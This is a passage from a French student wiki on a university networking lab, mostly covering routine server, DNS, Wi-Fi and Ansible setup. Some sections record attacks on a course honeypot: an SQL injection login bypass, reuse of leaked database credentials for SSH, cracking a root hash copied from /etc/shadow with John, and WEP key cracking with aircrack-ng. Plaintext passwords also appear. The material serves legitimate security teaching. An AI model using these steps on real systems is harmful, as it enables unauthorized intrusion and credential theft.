 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles. Une VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA). On lui associe sur eth1 l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt;.&lt;br /&gt;
La seconde sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; d'IP &amp;lt;code&amp;gt;192.168.42.7&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On relance, le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
===Inventaire===&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
===Playbook et roles===&lt;br /&gt;
&lt;br /&gt;
On crée 4 rôles différents qui sont lancés via un playbook. Chaque rôle à son propre sous-répertoire.&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{ { packages }}&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;dock&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54980</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54980"/>
				<updated>2020-12-18T18:51:22Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Playbook et roles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
